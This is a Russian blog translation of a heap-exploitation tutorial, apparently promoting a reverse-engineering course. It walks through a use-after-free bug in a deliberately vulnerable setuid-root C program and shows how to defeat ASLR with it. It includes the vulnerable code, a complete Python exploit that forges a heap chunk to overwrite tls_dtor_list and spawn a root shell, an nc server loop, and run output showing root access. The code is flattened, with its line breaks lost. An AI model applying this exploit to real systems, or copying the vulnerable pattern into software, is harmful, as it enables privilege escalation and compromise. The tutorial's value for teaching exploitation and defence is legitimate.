Перевод Уязвимость Use-After-Free

Привет, хабр! В преддверии старта продвинутого курса Реверс-инжиниринг мы подготовили для вас еще один интересный перевод. Начнем!



Предварительные требования:

1. Уязвимость Off-By-One
2. Понимание работы malloc в glibc

Конфигурация виртуальной машины: Fedora 20 (x86)

Что такое Use-After-Free (UaF)?

Баг Use-After-Free возникает если указатель кучи продолжает использоваться уже после ее освобождения. Такая уязвимость может повлечь за собой выполнение производного кода.

Уязвимый код:

#include <stdio.h>#include <string.h>#include <unistd.h>#define BUFSIZE1 1020#define BUFSIZE2 ((BUFSIZE1/2) - 4)int main(int argc, char **argv) { char* name = malloc(12); /* [1] */ char* details = malloc(12); /* [2] */ strncpy(name, argv[1], 12-1); /* [3] */ free(details); /* [4] */ free(name);  /* [5] */ printf("Welcome %s\n",name); /* [6] */ fflush(stdout); char* tmp = (char *) malloc(12); /* [7] */ char* p1 = (char *) malloc(BUFSIZE1); /* [8] */ char* p2 = (char *) malloc(BUFSIZE1); /* [9] */ free(p2); /* [10] */ char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */ char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */ printf("Enter your region\n"); fflush(stdout); read(0,p2,BUFSIZE1-1); /* [13] */ printf("Region:%s\n",p2);  free(p1); /* [14] */}

Команды компиляции:

#echo 2 > /proc/sys/kernel/randomize_va_space$gcc -o vuln vuln.c$sudo chown root vuln$sudo chgrp root vuln$sudo chmod +s vuln

Примечание: по сравнению с предыдущей статьей, здесь ASLR включен. Теперь давайте воспользуемся багом UaF, и, поскольку ASLR включен, давайте обойдем его с помощью утечки информации и брутфорса.

В коде выше уязвимости use-after-free находятся в строках [6] и [13]. Соответствующие им памяти куч освобождаются в строках [5] и [10], но их указатели используются уже после освобождения в строках [6] и [13]! UaF в строке [6] приводит к утечке информации, в строке [13] к выполнению произвольного кода.

Что такое утечка информации? Как злоумышленник может ей воспользоваться?

В уязвимом коде выше (в строке [6]) утечка происходит по адресу кучи. Утекший адрес кучи поможет злоумышленнику легко вычислить рандомно размещенный адрес сегмента кучи, тем самым обойдя ASLR.

Чтобы понять, как происходит утечка адреса кучи, давайте сначала разберемся в первой половине уязвимого кода.

• Строка [1] аллоцирует область памяти кучи размером 16 байт для name.
• Строка [2] аллоцирует область памяти кучи размером 16 байт для details.
• Строка [3] копирует аргумент программы 1 (argv[1]) в область памяти кучи name.
• Строки [4] и [5] освобождают области памяти кучи name и details обратно в glibc malloc.
• Printf в строке [6] использует указатель name после его освобождения, что приводит к утечке адреса кучи.

После прочтения статьи из раздела Предварительные требования, мы знаем, что чанки, соответствующие указателям name и details это fast-чанки, которые при освобождении хранятся по нулевому индексу в fast-ячейках. Также мы знаем, что каждая fast-ячейка содержит односвязный список свободных чанков. Таким образом, возвращаясь к нашему примеру, односвязный список по нулевому индексу в fast-ячейке выглядит так, как показано ниже:

main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL

Из-за односвязности первые 4 байта name содержат адрес details_chunk. Таким образом, когда выводится name, сначала выводится адрес details_chunk. Опираясь на схему кучи, мы знаем, что details_chunk смещен на 0x10 от базового адреса кучи. Таким образом, вычитание 0x10 из утекшего адреса кучи даст нам ее базовый адрес!

Как достигается выполнение произвольного кода?

Теперь, когда у нас есть базовый адрес сегмента кучи, давайте посмотрим, как выполнить произвольный код, разобравшись со второй половиной нашего примера.

• Строка [7] аллоцирует область памяти кучи размером 16 байт для tmp.
• Строка [8] аллоцирует область памяти кучи размером 1024 байта для p1.
• Строка [9] аллоцирует область памяти кучи размером 1024 байта для p2.
• Строка [10] освобождает область памяти кучи p2 обратно в glibc malloc.
• Строка [11] аллоцирует область памяти кучи размером 512 байт для p2_1.
• Строка [12] аллоцирует область памяти кучи размером 512 байт для p2_2.
• Read в строке [13] использует указатель p2 после его освобождения.
• Строка [14] освобождает область памяти кучи p1 обратно в glibc malloc, что приводит к выполнению произвольного кода при выходе из программы.

После прочтения статьи из раздела Предварительные требования, мы знаем, что когда p2 освобождается в glibc malloc, он консолидируется в top-чанк. Позже, когда запрашивается память для p2_1, она выделяется из top-чанка и p2 и p2_2 имеют один и тот же адрес кучи. Далее, когда запрашивается память для p2_2, она выделяется из top-чанка и p2_2 находится на расстоянии 512 байт от p2. Итак, когда указатель p2 используется после освобождения в строке [13], данные, контролируемые злоумышленником (максимум 1019 байт) копируются в p2_1, размер которого составляет всего 512 байт, и, следовательно, оставшиеся данные злоумышленника перезаписывают следующий чанк p2_2, давая возможность злоумышленнику перезаписать поле размером с заголовок следующего чанка.

Схема кучи:



Как мы знаем из статьи из раздела Предварительные требования, если злоумышленник может успешно переписать LSB поля размера следующего чанка, он может обмануть glibc malloc, чтобы разорвать связь с чанком p2_1, даже если он находится в аллоцированном состоянии. Также в той статье мы видели, что отсоединение большого чанка в аллоцированном состоянии может привести к выполнению произвольного кода, если злоумышленник аккуратно подделал заголовок чанка. Злоумышленник создает фейковый заголовок чанка, как показано ниже:

• fd должен указывать на освобожденный адрес чанка. Из схемы кучи мы видим, что p2_1 находится на смещении 0x410. Отсюда, fd = heap_base_address (который был получен из-за утечки) + 0x410.
• bk также должен указывать на освобожденный адрес чанка. Из схемы кучи мы видим, что p2_1 находится на смещении 0x410. Отсюда, fd = heap_base_address (который был получен из-за утечки) + 0x410.
• fd_nextsize должен указывать на tls_dtor_list 0x14. tls_dtor_list относится к рандомизированному сегменту private anonymous mapping из glibc. Чтобы справиться с рандомизацией, будем использовать брутфорс, как показано в коде эксплойта ниже.
• bk_nextsize должен указывать на адрес кучи, который содержит элемент dtor_list. system dtor_list инъецируется злоумышленником после подделывания заголовка чанка, в то время как setuid dtor_list ставится злоумышленником вместо области памяти кучи p2_2. Из схемы кучи мы знаем, что dtor_list располагается со смещением 0x428 и 0x618 соответственно.

Теперь, когда у нас есть вся эта информация, мы можем написать эксплойт для атаки на уязвимый бинарник vuln.

Код эксплойта:

#exp.py#!/usr/bin/env pythonimport structimport sysimport telnetlibimport timeip = '127.0.0.1'port = 1234def conv(num): return struct.pack("<Idef send(data): global con con.write(data) return con.read_until('\n')print "** Bruteforcing libc base address**"libc_base_addr = 0xb756a000fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0system = libc_base_addr + 0x3e6e0system_arg = 0x80482aesize = 0x200setuid = libc_base_addr + 0xb9e30setuid_arg = 0x0while True: time.sleep(4) con = telnetlib.Telnet(ip, port) laddress = con.read_until('\n') laddress = laddress[8:12] heap_addr_tup = struct.unpack("<I", laddress) heap_addr = heap_addr_tup[0] print "** Leaked heap addresses : [0x%x] **" %(heap_addr) heap_base_addr = heap_addr - 0x10 fd = heap_base_addr + 0x410 bk = fd bk_nextsize = heap_base_addr + 0x618 mp = heap_base_addr + 0x18 nxt = heap_base_addr + 0x428 print "** Constructing fake chunk to overwrite tls_dtor_list**" fake_chunk = conv(fd) fake_chunk += conv(bk) fake_chunk += conv(fd_nextsize) fake_chunk += conv(bk_nextsize) fake_chunk += conv(system) fake_chunk += conv(system_arg) fake_chunk += "A" * 484 fake_chunk += conv(size) fake_chunk += conv(setuid) fake_chunk += conv(setuid_arg) fake_chunk += conv(mp) fake_chunk += conv(nxt) print "** Successful tls_dtor_list overwrite gives us shell!!**" send(fake_chunk) try:   con.interact() except:   exit(0)

Поскольку при брутфорсе нам нужно несколько попыток (пока у нас не получится), давайте запустим наш уязвимый бинарник vuln как сетевой сервер и с помощью shell-скрипта убедимся, что он автоматически перезапускается при падении.

#vuln.sh#!/bin/shnc_process_id=$(pidof nc)while :do if [[ -z $nc_process_id ]]; then echo "(Re)starting nc..." nc -l -p 1234 -c "./vuln sploitfun" else echo "nc is running..." fidone

Выполнение кода эксплойта выше даст вам root-права в shell. Получилось!

Shell-1$./vuln.shShell-2$python exp.py...** Leaked heap addresses : [0x889d010] **** Constructing fake chunk to overwrite tls_dtor_list**** Successfull tls_dtor_list overwrite gives us shell!!***** Connection closed by remote host ***** Leaked heap addresses : [0x895d010] **** Constructing fake chunk to overwrite tls_dtor_list**** Successfull tls_dtor_list overwrite gives us shell!!***** Connection closed by remote host ***iduid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023exit** Leaked heap addresses : [0x890c010] **** Constructing fake chunk to overwrite tls_dtor_list**** Successfull tls_dtor_list overwrite gives us shell!!***** Connection closed by remote host ***...$

Источник:

1. Revisiting Defcon CTF Shitsco Use-After-Free Vulnerability Remote Code Execution

---

Анализ буткита. Бесплатный урок

---

Читать ещё:

• Руткиты на основе BIOS. Часть 1
• Руткиты на основе BIOS. Часть 2